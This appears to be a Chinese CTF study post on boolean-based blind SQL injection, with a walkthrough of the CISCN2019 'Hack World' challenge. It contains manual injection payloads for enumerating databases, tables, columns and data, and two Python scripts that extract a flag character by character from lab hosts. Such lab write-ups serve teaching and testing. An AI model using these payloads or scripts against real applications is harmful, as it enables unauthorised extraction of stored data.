寒假2.6--SQL注入之布尔盲注

news/2025/2/9 0:06:00 标签: 数据库

知识点

 原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息

适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接获得查询结果的情况下推断数据库信息(比如像今天这题一样很多关键字都被禁用了)

手动输入解题步骤:

1.判断注入点及注入类型:

若为整型注入:

1 and 1=1 //正常回显
1 and 1=2 //无回显

若为字符型注入(同时判断是单引号型注入还是双引号型):

1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显

也有一些题会把后面的#换成--+,两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰

#主要适用于MySQL数据库,在其他数据库中使用可能会导致语法错误

--是标准SQL的单行注释符

e.g.

注入id=1 and 1 = 1--+和id=1 and 1 = 2--+,回显正常,排除数字型注入

注入id=1' and 1 = 1--+也正常,但是当注入id=1' and 1 = 2--+时,回显如下,说明是字符型注入,单引号闭合

2.推测数据库信息

(1)推测数据库名长度

(2)得到数据库

函数:database()返回数据库名,length()获取字符串长度

select length(database());

当测试语句输入的过程中有不一样的,就说明得到了正确的数据库名长度,一般在输入到3或4就会得到数据库名长度了

爆长度:

法一:

1' and length(database()) =1  #
1' and length(database()) =2  #
1' and length(database()) =3  #
1' and length(database()) =4  #
……

 法二:

length(str)                             //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4

e.g.

判断得到数据库名的长度为4

爆库名:

函数:ascii()返回字符的ASCII码,substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符

1 and substring(database(),1,1)='q'         //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'        //判断数据库名字第二个字母是否为q
mid(str,pos,len)                          //跟上面的用法一模一样,截取字符串

3.爆表

(1)表数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())=1
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
……

(2)根据库名和表数量爆表名长度

limit i,1
i从0开始(第i+1张表)

e.g.

第一张表表名长度:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
第二张:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4

(3)根据表名长度爆表名

substr((select…limit i,1),j,1)
    i从0开始(第i+1张表),j从1开始(第j个字符)

 再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

4.爆列

(1)爆列数量

和爆表数量一样

(2)根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

limit i,1
i从0开始(第i+1列)

 (3)爆列名

i是列标-1,j是字符下标

substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)

5.爆数据

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

substr((select…),j,1)
    j从1开始(flag的第j个字符)

脚本

手工布尔盲注通常比较麻烦,也可以选择写个脚本来进行自动化突破

找了一个写得比较好的脚本

import requests as re

# 设置需要sql注入的网站
url = 'http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php'

# 提前做好接受flag的变量
flag = ''

# 循环函数
for i in range(1, 1000):
    print(f'{i}:\n')
    # 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多
    high = 128
    low = 30
    # 这里设置循环函数,如果最大值小于最小值那么退出
    while low <= high:
        mid = (low + high)//2
        # 爆库名
        # sql1 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))={mid})^1'
        # sql2 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})^1'
        # sql3 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))<{mid})^1'
        # 爆表名
        # sql1 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))={mid})^1'
        # sql2 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))>{mid})^1'
        # sql3 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))<{mid})^1'
        # 爆字段名
        sql1 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))={mid})^1'
        sql2 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1'
        sql3 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))<{mid})^1'

        # 设置id值
        data1 = {
            'id': sql1
        }
        data2 = {
            'id': sql2
        }
        data3 = {
            'id': sql3
        }

        # 通过post传入参数然后给r1 r2 r3
        r1 = re.post(url=url, data=data1)
        r2 = re.post(url=url, data=data2)
        r3 = re.post(url=url, data=data3)

        # Hello出现在页面时说明是对的,输出flag
        if 'Hello' in r1.text:
            flag += chr(mid)
            print(flag)
            break
        # Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flag
        if 'Hello' in r2.text:
            low = mid + 1
        # Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flag
        if 'Hello' in r3.text:
            high = mid - 1
    continue

print(flag)

例题

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开界面,提醒flag值在flag表的flag列中

输入数字1,2时,回显不同 ,直到输入3,后面的都一样

随便输入一个字母,回显都一样,提示类型错误,猜测为数字型注入

输入1'试试

尝试注入并查询

1 union select flag from flag

回显SQL注入检测,说明有东西被过滤了

看一下源代码,没有什么收获

用bp抓包再用fuzz字典爆破一下试试

 从回显来看,length=535的字符全部被过滤了,包括union、select、extracvalue、updatexml、sleep等常见注入关键字,所以只能选择布尔盲注了

测试一下

1^1^1

1^0^1

这里用到的一个脚本参考了其他大佬的wp,但是因为运行的时候连接超时,所以做了适当延时

大致思路:(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来

脚本:

import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

# 配置重试机制
retry_strategy = Retry(
    total=3,  # 最大重试次数
    backoff_factor=1,  # 重试间隔时间的增长因子
    status_forcelist=[429, 500, 502, 503, 504],  # 需要重试的 HTTP 状态码
    allowed_methods=["POST"]  # 允许重试的 HTTP 方法
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)

url = "http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
    for j in range(32, 128):
        try:
            time.sleep(0.1)  # 适当延时,避免给目标服务器造成过大压力
            payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
            # 设置超时时间为 10 秒
            response = http.post(url=url, data={'id': payload.format(m=i, n=j)}, timeout=10)
            if response.text.find('girl') == -1:
                result += chr(j)
                print(j)
                break
        except requests.exceptions.ConnectTimeout:
            print(f"请求超时,当前位置: {i}, 当前字符码: {j}")
        except requests.exceptions.RequestException as e:
            print(f"请求发生错误: {e}")
    print("正在注出flag:", result)
print("flag的值为:", result)

http://www.niftyadmin.cn/n/5845390.html

相关文章

流式传输的实现为什么需要缓存?

流式传输的实现通常确实需要使用缓存&#xff08;或称缓冲&#xff09;。这里解释一下为什么缓存是必要的以及它是如何工作的&#xff1a; 为什么需要缓存&#xff1f; 网络波动&#xff1a;互联网连接的速度和稳定性可能会发生变化。缓存可以确保在网络变慢或中断时&#xf…

知识库管理系统与ChatGPT:如何用生成式AI打造智能知识助手?

在当今数字化时代&#xff0c;知识管理的重要性日益凸显。企业、机构以及个人都面临着海量信息的挑战&#xff0c;如何高效地存储、检索和利用知识成为关键问题。生成式AI技术的出现&#xff0c;为打造智能知识助手提供了全新的思路和强大的工具。本文将探讨如何结合知识库管理…

农作物病虫害识别实操

好的&#xff0c;我将会逐步引导你完成这个农作物病虫害识别项目。我们将从准备环境开始&#xff0c;到最终的模型部署。以下是详细的步骤&#xff1a; 1. 环境准备 首先&#xff0c;你需要安装一些必备的软件和库。我们将使用Python进行开发&#xff0c;并使用TensorFlow进行…

SOME/IP报文格式及发现协议详解

在之前的文章中&#xff0c;我们介绍了SOME/IP协议的几种服务接口。在本篇博客中&#xff0c;主要介绍some/ip协议传输的header报文格式以及SOME/IP-SD发现协议。 目录 流程 报文格式 Message ID Length Request ID protocal version/Interface Version Message Type…

【DeepSeek】DeepSeek小模型蒸馏与本地部署深度解析DeepSeek小模型蒸馏与本地部署深度解析

一、引言与背景 在人工智能领域&#xff0c;大型语言模型&#xff08;LLM&#xff09;如DeepSeek以其卓越的自然语言理解和生成能力&#xff0c;推动了众多应用场景的发展。然而&#xff0c;大型模型的高昂计算和存储成本&#xff0c;以及潜在的数据隐私风险&#xff0c;限制了…

# C指针地址CUP寄存器访问IO内存映射

C指针地址&CUP寄存器访问&IO内存映射 在裸机编程中&#xff0c;C语言可以像汇编语言一样直接操作芯片寄存器地址进行读取和写入&#xff0c;主要是由于以下几个原因&#xff1a; 1. 裸机环境下没有操作系统的干预 裸机编程是指直接在硬件上运行程序&#xff0c;没有…

使用 OpenGL ES 渲染一个四边形

使用 OpenGL ES 渲染一个四边形 在 iOS 开发中,OpenGL ES 是一个强大的工具,用于实现高性能的 2D 和 3D 图形渲染。本文将通过一个完整的代码示例,详细解析如何使用 OpenGL ES 渲染一个简单的四边形。我们将从基础概念入手,逐步讲解代码的每个部分,帮助你理解 OpenGL ES …

如何在macOS上安装Ollama

安装Ollama 安装Ollama的步骤相对简单&#xff0c;以下是基本的安装指南&#xff1a; 访问官方网站&#xff1a;打开浏览器&#xff0c;访问Ollama的官方网站。 下载安装包&#xff1a;根据你的操作系统&#xff0c;选择相应的安装包进行下载。 运行安装程序&#xff1a;下载完…